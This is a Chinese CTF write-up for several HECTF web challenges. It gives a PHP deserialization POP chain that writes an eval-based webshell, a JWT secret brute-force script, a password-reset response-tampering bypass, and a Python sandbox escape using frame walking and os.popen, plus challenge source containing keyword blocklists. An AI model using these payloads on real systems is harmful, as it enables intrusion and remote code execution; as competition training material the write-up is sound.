第一天打得头疼眼睛疼,我以为是被脑洞给干烂了,结果是tm感冒了,回去吃个药秒好了,但是脑洞太难蚌了,第二天打舞萌去了,没解后面的题了,不过幸好没看,后面有些题还真不大好写。

# Web:

# 老爷爷的金块

现在不知不觉 2025 年了,曾经在 4399 里遨游的小孩儿也变成大人了… 重新看了一遍 4399 的经典游戏,想起了这个努力挖矿的老爷爷。 下载附件,打开 exe,重温童年的乐趣!

提示 11. 请注意获得的 flag 第六段前面有一个空格哦~

​ 打开是个游戏,打完就有 flag,当然分数要过 1000
在这里插入图片描述

​ 另外一个想法,就是,浏览文件,发现 bk_flag.png 等多个图片,winhex 打开,搜索 flag,不知道为啥 IDA 里没有,找到了这个:

在这里插入图片描述

​ 把这个交上去看看,成功。

# PHPGift

​ ctrl+u 看到:

1
<!-- hhhhhh!!!! where is xxx.php -->

​ 提示是三字文件,flag 上面有个 ser 是唯一三字符的读读看:

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php
error_reporting(0);

class FileHandler {
private $fileHandle;
private $fileName;

public function __construct($fileName = 'data.txt') {
$this->fileName = $fileName;
$this->fileHandle = fopen($fileName, 'a');
}

public function __destruct() {
if ($this->fileHandle) {
fclose($this->fileHandle);
}
echo $this->fileName;
}
}

class Config {
private $settings = [];

public function __get($key) {
return $this->settings[$key] ?? null;
}

public function __set($key, $value) {
$this->settings[$key] = strip_tags($value);
}
}

class MySessionHandler {
private $sessionId;
private $data = [];

public function __wakeup() {
$this->data = [];
$this->sessionId = uniqid('sess_', true);
}
}

class User {
private $userData = [];
public $data;
public $params;

public function __set($name, $value) {
$this->userData[$name] = $value;
}

public function __get($name) {
return $this->userData[$name] ?? null;
}

public function __toString() {
if (is_string($this->params) && is_array($this->data) && count($this->data) === 2) {
call_user_func($this->data, $this->params);
}
return "User";
}
}

class CacheManager {
private $cacheDir;
private $ttl;

public function __construct($dir = '/tmp/cache', $ttl = 3600) {
$this->cacheDir = $dir;
$this->ttl = $ttl;
}

public function __destruct() {
error_log("[Cache] Destroyed manager for {$this->cacheDir}");
}
}

class Logger {
private $logFile;

public function __construct($logFile = 'app.log') {
$this->logFile = $logFile;
}

public function setLogFile($file) {
$this->logFile = $file;
}

private function log($message) {
file_put_contents($this->logFile, $message . PHP_EOL, FILE_APPEND);
}

public function __invoke($msg) {
$this->log($msg);
}
}

class UserProfile {
public $name;
public $email;

public function __toString() {
return "User: {$this->name} ({$this->email})";
echo $this->name;
echo $this->email;
}
}

class MathHelper {
private $factor = 1;

public function __invoke($x) {
return $x * $this->factor;
}
}


if (isset($_GET['data'])) {
$input = $_GET['data'];
if (preg_match('/bash|sh|exec|system|passthru|`|eval|assert/i', $input)) {
die("Hacker?\n");
}
@unserialize(base64_decode($input));
echo "Done.\n";
} else {
highlight_file(__FILE__);
}

​ pop 链。

​ 链子思路大概是 Logger 中的 __invoke ,触发之后调用 log 进行任意文件写,在这里写入木马即可,那么调用 __invoke 的点可以是 User 中的 call_user_func__toString 可以由 FileHandler 中的 echo $this->fileName; 触发,再向上就是 __destruct ,其他杂七杂八的类和方法太多了,看上去这个题难,结果一看好像不难,生成 payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);

class FileHandler {
public $fileHandle;
public $fileName;

}

class User {
public $userData;
public $data;
public $params = '<? eval($_POST[1]) ?>';

}

class Logger {
public $logFile="upload.php";

}
$logger = new Logger();

$a = new FileHandler();
$a->fileName = new User();
$a->fileName->data = [$logger,"__invoke"];

echo base64_encode(serialize($a));
echo "\n";


#TzoxMToiRmlsZUhhbmRsZXIiOjI6e3M6MTA6ImZpbGVIYW5kbGUiO047czo4OiJmaWxlTmFtZSI7Tzo0OiJVc2VyIjozOntzOjg6InVzZXJEYXRhIjtOO3M6NDoiZGF0YSI7YToyOntpOjA7Tzo2OiJMb2dnZXIiOjE6e3M6NzoibG9nRmlsZSI7czoxMDoidXBsb2FkLnBocCI7fWk6MTtzOjg6Il9faW52b2tlIjt9czo2OiJwYXJhbXMiO3M6MjE6Ijw/IGV2YWwoJF9QT1NUWzFdKSA/PiI7fX0=

​ 之后访问 upload.php 拿到 shell,传参是 1。

在这里插入图片描述

​ base64 解码得到: HECTF{c0ngr4ts_l1ttl3_h4ck3r_y0u_f0und_my_53cr3t_g1ft}

# 像素勇者和神秘宝藏

​ 三个门,有用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
    <script>
let courage = 0; // 初始勇气值

function updateDisplay() {
document.getElementById('courage-display').textContent = courage;
}

function buyPotion() {
courage += 50;
updateDisplay();
}

function enter(door) {
if (door === 'A') {
if (courage < 10000) {
alert("⚠️ 勇气不足!需要至少 10000 点才能挑战 Door A!");
return;
}
// 扣除 5000 勇气
courage -= 5000;
updateDisplay();
}

fetch('/enter', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: `door=${door}&courage=${courage}`
})
.then(r => r.json())
.then(data => {
alert(data.msg);
if (data.flag) {
setTimeout(() => {
window.location = '/victory?flag=' + encodeURIComponent(data.flag);
}, 1000);
}
})
.catch(e => alert('请求失败'));
}
updateDisplay();
</script>
</body>
<!--
A: 什么???我们是不是好兄弟,你背着我偷偷打什么比赛???
B: 没有啦,你要打吗,HECTF,来玩吧。
A: 可以啊!够兄弟的,HECTF是大写还是小写,我去搜搜。
B: 嘿嘿,这是秘密,你试试就知道啦。
A: 行吧,你真讨厌。
-->

​ 第一个门就正常按按鼠标就开了,多点很多次而已,第二个门是只有 vip 勇者能进,点击获取令牌,然后抓包发现 Cookie:

1
role=user; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicGxheWVyIiwiYmxlc3NlZCI6ZmFsc2UsImV4cCI6MTc2NjIyNTY0OH0.H10-DibPmALQ0RyNSp08JlQlL4Rmc7wo8cOd1kau1-U

​ 看起来是 Jwt 解密,role 也是 user,姑且把 user 换成 vip(这里是小写,因为大写绕不过)绕过:

在这里插入图片描述

VIP 通道畅通!但宝藏仍被封印……

​ 说明得开第三门,Jwt 解密看看:

在这里插入图片描述

​ 根据这个猜测把 blessed 换成 true 即可,那么就是猜测密钥的问题了,根据上面注释:

1
2
3
4
5
6
7
<!--
A: 什么???我们是不是好兄弟,你背着我偷偷打什么比赛???
B: 没有啦,你要打吗,HECTF,来玩吧。
A: 可以啊!够兄弟的,HECTF是大写还是小写,我去搜搜。
B: 嘿嘿,这是秘密,你试试就知道啦。
A: 行吧,你真讨厌。
-->

​ 先说了 HECTF 是大写还是小写,然后后面又说了 这是秘密,草,坑在这里啊,HECTF 就是密钥,吗?那么密钥的大写和小写就是问题了, 直接爆破,下面这个代码直接运行就能爆破出 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import jwt
import itertools
import requests
import time
from requests.exceptions import RequestException

def generate_hectf_jwt_list():
"""生成HECTF所有大小写组合对应的JWT列表(返回:[(密钥, JWT令牌), ...])"""
# 1. 固定JWT Header(与你提供的token格式一致)
jwt_header = {
"alg": "HS256",
"typ": "JWT"
}

# 2. 固定JWT Payload(与你提供的token载荷一致,可按需调整blessed/exp字段)
jwt_payload = {
"user": "player",
"blessed": True, # 可尝试改为False测试不同状态
"exp": 1766225297 # 若提示令牌过期,可改为当前时间戳+3600(例如int(time.time())+3600)
}

# 3. 生成HECTF所有大小写组合(2^5=32种)
base_chars = "HECTF"
char_options = [[c.upper(), c.lower()] for c in base_chars]
hectf_secret_list = [''.join(comb) for comb in itertools.product(*char_options)]

# 4. 生成每个密钥对应的JWT
jwt_list = []
for secret in hectf_secret_list:
try:
jwt_token = jwt.encode(
payload=jwt_payload,
key=secret,
algorithm="HS256",
headers=jwt_header
)
# 兼容pyjwt不同版本的返回格式(部分版本返回bytes,需转为字符串)
if isinstance(jwt_token, bytes):
jwt_token = jwt_token.decode("utf-8")
jwt_list.append((secret, jwt_token))
except Exception as e:
print(f"⚠️ 密钥 {secret} 生成JWT失败:{e}")
return jwt_list

def test_jwt_batch(target_url, jwt_list):
"""批量测试JWT有效性,精准识别无效令牌响应,优化输出"""
# 1. 固定请求头(复用原始请求头,动态替换Cookie)
base_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "*/*",
"Origin": "http://47.100.66.83:32714",
"Referer": "http://47.100.66.83:32714/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"
}

# 2. 固定请求体(可按需修改door或courage参数)
request_body = "door=C&courage=1500"

# 3. 无效令牌响应标识(用于过滤冗余输出)
invalid_token_msg = "无效的神圣令牌"

print(f"🚀 开始批量测试,共{len(jwt_list)}个JWT令牌...")
print(f"📌 无效令牌响应将自动标记,仅高亮异常/有效结果\n")
time.sleep(1) # 延迟1秒,便于查看提示信息

for idx, (secret, jwt_token) in enumerate(jwt_list, 1):
# 动态构造Cookie
current_headers = base_headers.copy()
current_headers["Cookie"] = f"role=VIP; token={jwt_token}"

try:
# 发送POST请求
response = requests.post(
url=target_url,
headers=current_headers,
data=request_body,
timeout=10
)
response_text = response.text.strip()
status_code = response.status_code

# 分类输出结果
if invalid_token_msg in response_text and status_code == 403:
# 无效令牌,简化输出
print(f"第{idx:2d}个 | 密钥: {secret} | 状态: 403(无效令牌)")
else:
# 非无效令牌响应,详细输出(可能是有效结果或其他异常)
print(f"\n===== 第{idx:2d}个测试(非无效令牌)======")
print(f"密钥: {secret}")
print(f"JWT: {jwt_token}")
print(f"状态码: {status_code}")
print(f"响应内容: {response_text}")
print("-" * 60 + "\n")

# 检测flag关键词,找到有效结果立即终止
if "flag" in response_text.lower():
print(f"🎉 找到有效JWT!密钥:{secret}")
print(f"🎉 完整响应:{response_text}")
return secret, jwt_token

except RequestException as e:
# 请求异常,详细输出
print(f"\n===== 第{idx:2d}个测试(请求异常)======")
print(f"密钥: {secret}")
print(f"JWT: {jwt_token}")
print(f"❌ 异常信息:{e}")
print("-" * 60 + "\n")

print("\n🔍 批量测试完成!")
print(f"提示:若全部为403无效令牌,可尝试:")
print(f" 1. 修改JWT Payload中的blessed字段(True/False互换)")
print(f" 2. 更新exp时间戳为当前有效时间(避免令牌过期)")
print(f" 3. 调整请求体中的door(A/B/C)或courage参数值")
return None, None

if __name__ == "__main__":
# 目标URL
TARGET_URL = "http://47.100.66.83:31648/enter"

# 1. 生成JWT列表
print("📌 正在生成HECTF所有大小写组合的JWT...")
jwt_test_list = generate_hectf_jwt_list()
print(f"📌 共生成{len(jwt_test_list)}个有效JWT令牌\n")

# 2. 批量测试
valid_secret, valid_jwt = test_jwt_batch(TARGET_URL, jwt_test_list)

# 3. 最终结果汇总
if valid_secret and valid_jwt:
print(f"\n✅ 测试成功!")
print(f"有效密钥:{valid_secret}")
print(f"有效JWT:{valid_jwt}")
else:
print(f"\n❌ 未找到有效JWT,可参考提示调整参数后重试。")

# 谁家 blog 里有这功能?

Bob 在宿舍里闲的 damn 疼,不知道干什么,他的朋友 Alice 最近整了个个人博客主页,最近几天天 天在他面前炫耀,他觉得心理很不爽,有种被朋友内卷自己却在摆烂而感觉到了背叛的感觉,于是 他费尽心力终于捣鼓出来了一个,但是他搓出来的网站有一些其他博客作者不会有的功能…

注意:由于出题人学艺不精的问题,在做题过程中可能会出现网站无法访问的情况,可能是 exit 把 整个程序停掉了,请等待三十秒,三十秒后应该会重新启动,若三十秒后没有启动的,可以重启环 境。

​ 一般类似的 CMS 的题直接登后台爆破弱口令碰碰运气,不过这个有可能爆不出来,但存在忘记密码的接口,这个是很多漏洞的可以利用的点,所以这里可以赌一把试试看:

在这里插入图片描述

​ 这里看 url 似乎有可以利用的点,测测看是否存在这种逻辑漏洞(前端对后端响应进行验证,然后跳转到第二个重置密码的页面,以此类推,直到最后的一个页面,当后端认为前两次验证已经完成了,不需要进行后续验证,之类可能会存在任意密码修改的洞,不过实际情况下应该大部分都修了,我这里只是模拟这个洞的点,不会根实际情况一样),这里抓一下响应包看看:

在这里插入图片描述

​ 相应包之类可以修改 "success":false"success":true ,成功跳转到第二次验证:

在这里插入图片描述

​ 之后随便输,抓包看看:

在这里插入图片描述

​ 原本的 step1 变成了 step2,可以猜猜看最后的一步可以是 step3 或者 step4,不过这里还是老老实实一步步下去,老样子,抓相应包,改参数:

在这里插入图片描述

​ 成功跳转到这一步,那就修改密码为 123,之后抓包看看:

在这里插入图片描述

​ 之后抓相应包看看:

在这里插入图片描述
1117210622168.png&pos_id=img-A0YJbOft-1767957868072)

​ 这里我没改,证明修改密码成功了,之后就可以去登录了,成功进入后台:

在这里插入图片描述

​ 往下面翻发现了这里有个超链接,似乎可以点,点击之后发现是下载博客的地方:

在这里插入图片描述

​ 抓包之后发现了文件下载接口,似乎可以任意文件读:

在这里插入图片描述

​ 试着读取根目录下的 flag 文件失败了,被 forbidden 了,不过可以读取源码,直接下载 app.py 得到源码,源码里有用的地方在这儿:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
from flask import Flask, request, jsonify, render_template, session, redirect, url_for, flash,send_file, abort
import hashlib
import urllib.parse
import re
import os
import sys
from io import StringIO
from dis import dis
from contextlib import redirect_stdout
from random import randint, randrange, seed
from time import time

app = Flask(__name__)
app.secret_key = 'super_secret_key_for_session_2025'


users = {
'admin': {
'password_md5': hashlib.md5('KAlsidhKUHLKjhdskfhkajHSKDJH'.encode()).hexdigest(),
'email': 'admin@example.com',
'id_card': '110101199003072316',
'phone': '13800138000'
}
}


class SandboxSecurityException(Exception):
pass
def source_simple_check(source):
try:
source.encode("ascii")
except UnicodeEncodeError:
raise ValueError("Non-ASCII characters are not allowed")

dangerous_keywords = [ "__", "getattr", "setattr", "hasattr", "eval", "exec", "compile",
"open", "file", "os", "sys", "import", "exit", "quit", "vars",
"locals", "delattr", "help", "subprocess", "requests", "socket",
"urllib", "ctypes", "marshal", "pickle", "input", "codecs",
"__import__", "__builtins__", "__globals__", "__getattribute__",
"__class__", "__bases__", "__mro__", "__subclasses__", "__init__",
"__name__", "__dict__", "__code__", "__closure__", "__defaults__",
"mro", "subclasses", "importlib", "load", "loads", "dump", "dumps",
"system", "popen", "spawn", "fork", "exec", "chdir", "remove",
"rmdir", "mkdir", "listdir", "environ", "getenv", "putenv",
"read", "write", "close", "flush", "seek", "tell", "truncate",
"connect", "bind", "listen", "accept", "send", "recv", "gethostname",
"gethostbyname", "getaddrinfo", "urlopen", "urlretrieve", "Request",]
for kw in dangerous_keywords:
if kw in source.lower():
raise ValueError(f"Disallowed keyword: {kw}")

def source_opcode_checker(code_obj):
opcode_io = StringIO()
dis(code_obj, file=opcode_io)
opcodes = opcode_io.getvalue().splitlines()
opcode_io.close()

allowed_globals = {"print", "len", "str", "int", "float", "randint", "randrange", "seed"}

for line in opcodes:
if "LOAD_GLOBAL" in line:
parts = line.split()
if len(parts) >= 4 and parts[3].startswith('(') and parts[3].endswith(')'):
name = parts[3][1:-1]
if name not in allowed_globals:
raise ValueError(f"Disallowed global access: {name}")
elif "IMPORT_NAME" in line:
raise ValueError("Import statements are not allowed")
elif "LOAD_METHOD" in line:
pass


def temp_audit_hook(event, args):
dangerous_events = {
"os.system", "os.popen", "subprocess.Popen", "subprocess.call",
"subprocess.check_output", "subprocess.run", "subprocess.getoutput",
"builtins.eval", "builtins.compile", "builtins.__import__", "eval",
"import", "importlib", "__import__", "importlib.import_module",
"open", "file", "os.open", "os.read", "os.write",
"urllib.request.urlopen", "urllib.request.Request", "requests.", "socket.socket",
"http.client.HTTPConnection", "http.client.HTTPSConnection",
"ctypes.", "marshal.loads", "os.execv", "os.execve", "os.execvp", "os.execvpe",
"os.environ", "os.getenv", "os.getpid", "os.getuid",
"subprocess.Popen", "subprocess.Popen", "os.system",
"os.remove", "os.unlink", "os.chmod", "os.chown",
}
for dangerous_event in dangerous_events:
if event == dangerous_event or event.startswith(dangerous_event + '.'):
os._exit(0)



def is_valid_id_card(id_card):
return bool(re.match(r'^\d{17}[\dXx]$', id_card))


def is_valid_phone(phone):
return bool(re.match(r'^1[3-9]\d{9}$', phone))


BLOG_DIR = 'blog'
os.makedirs(BLOG_DIR, exist_ok=True)

def get_blog_posts():
posts = []
for filename in os.listdir(BLOG_DIR):
if filename.endswith('.html'):
match = re.match(r'^(\d+)、(.+)\.html$', filename)
if match:
num = int(match.group(1))
title = match.group(2)
posts.append({
'num': num,
'title': title,
'filename': filename
})
posts.sort(key=lambda x: x['num'], reverse=True)
return posts

def get_next_post_number():
max_num = 0
for filename in os.listdir(BLOG_DIR):
if filename.endswith('.html'):
match = re.match(r'^(\d+)、', filename)
if match:
num = int(match.group(1))
if num > max_num:
max_num = num
return max_num + 1


@app.route('/')
def index():
logged_in = 'username' in session
posts = get_blog_posts()
return render_template('index.html', logged_in=logged_in, posts=posts)

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if not username or not password:
flash('请输入用户名和密码')
return render_template('login.html')

pwd_md5 = hashlib.md5(password.encode()).hexdigest()
user = users.get(username)
if user and user['password_md5'] == pwd_md5:
session['username'] = username
return redirect('/admin')
else:
flash('用户名或密码错误')
return render_template('login.html')


@app.route('/logout')
def logout():
session.pop('username', None)
return redirect('/login')


@app.route('/blog/<filename>')
def view_blog(filename):
if not filename.endswith('.html'):
return "无效文件", 400
filepath = os.path.join(BLOG_DIR, filename)
if not os.path.exists(filepath):
return "文章不存在", 404
with open(filepath, 'r', encoding='utf-8') as f:
content = f.read()
return content

@app.route('/admin')
def admin_dashboard():
if 'username' not in session:
return redirect('/login')
next_num = get_next_post_number()
posts = get_blog_posts()
return render_template('admin.html', username=session['username'], next_num=next_num, posts=posts)


@app.route('/admin/publish', methods=['POST'])
def publish_blog():
if 'username' not in session:
return jsonify({'success': False, 'message': '未登录'}), 403

title = request.form.get('title', '').strip()
content = request.form.get('content', '').strip()

if not title or not content:
return jsonify({'success': False, 'message': '标题和内容不能为空'})

next_num = get_next_post_number()
safe_title = "".join(c if c.isalnum() or c in (' ', '-', '_') else '_' for c in title)
filename = f"{next_num}{safe_title}.html"
filepath = os.path.join(BLOG_DIR, filename)

with open(filepath, 'w', encoding='utf-8') as f:
f.write(content)

return jsonify({'success': True, 'message': f'博客《{title}》发布成功!'})


@app.route('/admin/download')
def download_file():
if 'username' not in session:
return redirect('/login')
filename = request.args.get('file', '')
if not filename:
abort(400)
try:
filename = urllib.parse.unquote(filename)
except Exception:
abort(400)
file_path = os.path.abspath(filename)
project_root = os.path.abspath(os.getcwd())
blog_dir = os.path.abspath('blog')
allowed_dirs = [project_root, blog_dir]
if not any(file_path.startswith(allowed + os.sep) or file_path == allowed for allowed in allowed_dirs):
abort(403)
basename = os.path.basename(file_path)
if not (basename == 'app.py' or basename.endswith('.html')):
abort(403)
if not os.path.isfile(file_path):
abort(404)
return send_file(file_path, as_attachment=True)


@app.route('/admin/oj', methods=['GET', 'POST'])
def oj():
if 'username' not in session or session['username'] != 'admin':
return redirect('/login')

if request.method == 'POST':
data = request.json
code = data.get('code', '').strip()

if not code:
return jsonify({"error": "代码不能为空"}), 400

try:
source_simple_check(code)
compiled_code = compile(code, "<sandbox>", "exec")
source_opcode_checker(compiled_code)
safe_builtins = {
"print": print,
"len": len,
"str": str,
"int": int,
"float": float,
"randint": randint,
"randrange": randrange,
"seed": seed,
"range":range,
}
sys.addaudithook(temp_audit_hook)
stdout = StringIO()
with redirect_stdout(stdout):
try:
seed(str(time()) + "CTF_SANDBOX" + str(id(code)))
exec(compiled_code, {"__builtins__": safe_builtins}, {})
finally:
if hasattr(sys, 'audithooks'):
sys.audithooks.clear()

output = stdout.getvalue()
return jsonify({"output": output})

except SandboxSecurityException as e:
return jsonify({"error": f"安全拦截: {str(e)}"}), 403
except Exception as e:
return jsonify({"error": f"执行错误: {str(e)}"}), 400

return render_template('admin.html', username=session['username'])

@app.route('/reset')
def reset_page():
return render_template('reset.html')



@app.route('/api/reset/step1', methods=['POST'])
def reset_step1():
data = request.get_json()
username = data.get('username')
email = data.get('email')
user = users.get(username)
if user and user['email'] == email:
return jsonify({'success': True, 'message': '邮箱验证成功'})
return jsonify({'success': False, 'message': '用户名或邮箱不匹配'})


@app.route('/api/reset/step2', methods=['POST'])
def reset_step2():
data = request.get_json()
username = data.get('username')
id_card = data.get('id_card', '').strip()
phone = data.get('phone', '').strip()
user = users.get(username)
if not user:
return jsonify({'success': False, 'message': '无效用户'})
if (
is_valid_id_card(id_card) and
is_valid_phone(phone) and
user['id_card'] == id_card and
user['phone'] == phone
):
return jsonify({'success': True, 'message': '身份信息验证成功'})
return jsonify({'success': False, 'message': '身份证号或手机号错误'})


@app.route('/api/reset/step3', methods=['POST'])
def reset_step3():
data = request.get_json()
username = data.get('username')
new_password = data.get('new_password')
confirm_password = data.get('confirm_password')
if new_password != confirm_password:
return jsonify({'success': False, 'message': '两次密码不一致'})
if username not in users:
return jsonify({'success': False, 'message': '用户不存在'})
users[username]['password_md5'] = hashlib.md5(new_password.encode()).hexdigest()
return jsonify({'success': True, 'message': '密码重置成功!'})


if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)

​ 这是一个沙箱,可以执行代码,但是,存在三重检验,一个是源码层面的检验 source_simple_check ,需要代码里不存在这些黑名单关键词,第二层是字节码检验,第三层是运行时检验,也就是常说的 addaudithook ,主要需要绕过的是第一层和第三层,可以先从沙箱入手,想办法绕过沙箱,不过,沙箱中的 "__builtins__": safe_builtins ,可知内建函数中没有可以让我们导入的东西,那么可以想办法逃逸出沙箱,到更外层可能会有可以使用的点,所以用栈帧逃逸逃到外界即可。

​ 首先是想办法逃逸到外界,我们可以确定的是,外界的程序里肯定是有 "__builtins__" 的,那么就可以通过如下方式进行绕过:

1
2
3
4
5
6
7
8
9
10
11
def waff():
def f():
yield g.gi_frame.f_back
q = (q.gi_frame.f_back.f_back.f_back.f_globals for _ in [1])
b=[*q][0]
return b
b=waff()
print(b)

#输出结果
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f7cb887bbd0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/app/app.py', '__cached__': None, 'Flask': <class 'flask.app.Flask'>, 'request': <Request 'http://47.92.129.245:5000/admin/oj' [POST]>, 'jsonify': <function jsonify at 0x7f7cb7976a20>, 'render_template': <function render_template at 0x7f7cb769c680>, 'session': <Secu。。。。。。。。

​ 可见,这里存在 "__builtins__" ,可惜是个函数,那么,看看这一层是哪一层:

1
2
3
4
5
6
7
8
9
10
def waff():
def f():
yield g.gi_frame.f_back
q = (q.gi_frame.f_back.f_back.f_back for _ in [1])
b=[*q][0]
return b
b=waff()
print(b)

#<frame at 0x7f7cb76e3de0, file '/app/app.py', line 263, code oj>

​ 先来做个 test 文件测试下,将这两个沙箱函数稍微改改,本地调试下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def source_opcode_checker(code_obj):
opcode_io = StringIO()
dis(code_obj, file=opcode_io)
opcodes = opcode_io.getvalue().splitlines()
opcode_io.close()

allowed_globals = {"print", "len", "str", "int", "float", "randint", "randrange", "seed"}

for line in opcodes:
if "LOAD_GLOBAL" in line:
pass
elif "IMPORT_NAME" in line:
raise ValueError("Import statements are not allowed")
elif "LOAD_METHOD" in line:
pass


def temp_audit_hook(event, args):
dangerous_events = {
"os.system", "os.popen", "subprocess.Popen", "subprocess.call",
"subprocess.check_output", "subprocess.run", "subprocess.getoutput",
"builtins.eval", "builtins.compile", "builtins.__import__", "eval",
"import", "importlib", "__import__", "importlib.import_module",
"open", "file", "os.open", "os.read", "os.write",
"urllib.request.urlopen", "urllib.request.Request", "requests.", "socket.socket",
"http.client.HTTPConnection", "http.client.HTTPSConnection",
"ctypes.", "marshal.loads", "os.execv", "os.execve", "os.execvp", "os.execvpe",
"os.environ", "os.getenv", "os.getpid", "os.getuid",
"subprocess.Popen", "subprocess.Popen", "os.system",
"os.remove", "os.unlink", "os.chmod", "os.chown",
}
for dangerous_event in dangerous_events:
if event == dangerous_event or event.startswith(dangerous_event + '.'):
pass

​ 可以简单整改下源码任期能够在本地运行,之后就是调试:

1
2
3
4
5
6
7
8
9
10
def waff():
def f():
yield g.gi_frame.f_back
q = (q.gi_frame.f_back.f_back.f_back.f_globals for _ in [1])
b=[*q][0]
return b
b=waff()
print(b)

#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fcb0591f090>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>,。。。。。。。。。

​ 这里的 "__builtins__" 是模块,但是因为第一层 waf 过滤太多关键字了,所以根据模块的调用方式这个似乎没法进行绕过,那么再回溯一层再看看:

1
2
3
4
5
6
7
8
9
10
def waff():
def f():
yield g.gi_frame.f_back
q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
b=[*q][0]
return b
b=waff()
print(b)

#。。。。。。'__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all 'built-in'\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThi 。。。。。。

​ 这里就成了字典,那么就可以进行绕过了,这里成功获取了 "__builtins__" 的字典,那么在题目里测试下看看:

1
2
3
4
5
6
7
8
9
10
11
def waff():
def f():
yield g.gi_frame.f_back
q = (q.gi_frame.f_back.f_back.f_back.f_globals for _ in [1])
b=[*q][0]
if '_'*2+'builtins'+'_'*2 in b:
print('ok')
return b
b=waff()

# ok

​ 证明是成功了,但是,这里需要注意,如果直接输出 b 会导致程序 crash 掉,尽可能别输出,这似乎是别的什么问题导致的报错。

​ 既然有了 "__builtins__" 之后,那么就可以考虑直接把 os._exit(0) 给杨掉,这样就算执行了 system 之类的函数也不会报错,直接扔下 payload:

1
2
3
4
5
6
7
8
9
def waff():
def f():
yield g.gi_frame.f_back
q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
b=[*q][0]
if 'o'+'s' in b:
b['_'*2+'builtins'+'_'*2]['set'+'attr'](b['o'+'s'], "_ex"+"it", print)
return b
b=waff()

​ 这里通过了 __builtins__ 中的 setattr 修改了 os 中的 _exitprint ,那么就算被钩子检测到了,也不用担心被直接退出了,之后就是直接 RCE 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def waff():
def f():
yield g.gi_frame.f_back
q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
b=[*q][0]
if 'o'+'s' in b:
b['_'*2+'builtins'+'_'*2]['set'+'attr'](b['o'+'s'], "_ex"+"it", print)
return b
b=waff()
o_modules = b['_'*2+'builtins'+'_'*2]['get'+'attr']((b['_'*2+'builtins'+'_'*2]['get'+'attr'](b['o'+'s'], 'po'+'pen')('whoami')),"_proc").stdout
for o_module in o_modules:
print(o_module)

#0。。。。。。
#root

​ 因为不能使用 read() (在关键词上被禁用了),所以这里只有通过这种方式进行绕过了,通过 getattr 获取 popen 执行过后的对象中的 _proc 之后用 stdout 进行输出

